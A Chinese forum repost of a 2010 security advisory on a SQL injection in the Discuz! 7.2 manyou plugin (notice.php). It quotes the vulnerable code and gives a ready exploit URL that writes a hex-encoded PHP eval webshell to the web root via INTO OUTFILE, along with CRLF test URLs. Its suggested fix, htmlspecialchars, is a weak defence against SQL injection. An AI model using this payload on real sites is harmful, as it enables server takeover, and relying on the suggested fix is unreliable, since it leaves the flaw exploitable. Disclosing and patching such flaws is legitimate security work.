服务器维护,服务器代维,安全设置,漏洞扫描,入侵检测服务

运维之家

 找回密码
 注册
搜索
查看: 9206|回复: 0

Discuz! 7.2 notice.php插件sql注入漏洞

[复制链接]
dirtysea 发表于 2010-7-11 17:28:35 | 显示全部楼层 |阅读模式
Discuz! 7.2 插件/manyou/sources/notice.php sql注入

影响版本:

discuz! 7.2

漏洞描述:

在最新的discuz!7.2中自带了一个新的应用程序插件manyou。恰恰在这个新插件中,没有对传入的参数进行检查,在GPC为off的情况下,导致注入漏洞的产生。

/manyou/sources/notice.php

if($option == 'del') {
$appid = intval($_GET['appid']);
$db->query("DELETE FROM {$tablepre}myinvite WHEREappid='$appid' AND touid='$discuz_uid'");
showmessage('manyou:done','userapp.php?script=notice&action=invite');
} elseif($option == 'deluserapp') {
$hash =trim($_GET['hash']);   //此处并没有进行过滤,直接导致注入的产生
if($action == 'invite') {
$query = $db->query("SELECT * FROM{$tablepre}myinvite WHERE hash='$hash' ANDtouid='$discuz_uid'");
if($value = $db->fetch_array($query)) {
$db->query("DELETE FROM {$tablepre}myinvite WHEREhash='$hash' AND touid='$discuz_uid'");
showmessage('manyou:done','userapp.php?script=notice&action=invite');
} else {
showmessage('manyou:noperm');
}
} else {
$db->query("DELETE FROM {$tablepre}mynotice WHEREid='$hash' AND uid='$discuz_uid'");
showmessage('manyou:done', 'userapp.php?script=notice');
}
}

很简单的一个漏洞。在没有查询结果返回的情况下我们往往只有采取盲注的方式,但如果当前数据库帐号有File_priv的话我们也可以直接intooutfile。

<*参考

   www.discuz.net

*>
测试方法:
[www.sebug.net]
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!


/userapp.php?script=notice&view=all&option=deluserapp&action=invite&hash='union selectNULL,NULL,NULL,NULL,0x3C3F70687020406576616C28245F504F53545B274F275D293B3F3E,NULL,NULL,NULL,NULLinto outfile 'C:/inetpub/wwwroot/shell.php'%23

/manyou/admincp.php?my_suffix=%0A%0DTOBY57

/manyou/admincp.php?my_suffix=%0A%0DTOBY57

/manyou/userapp.php?%0D%0A=TOBY57

SEBUG安全建议:

临时解决方法:
对$hash 取值进行过滤
$hash = trim($_GET['hash']);
替换为
$hash = htmlspecialchars(trim($_GET['hash']));
您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|小黑屋|手机版|Archiver|运维之家

GMT+8, 2024-4-20 16:30 , Processed in 0.143607 second(s), 14 queries .

Powered by Dirtysea

© 2008-2020 Dirtysea.com.

快速回复 返回顶部 返回列表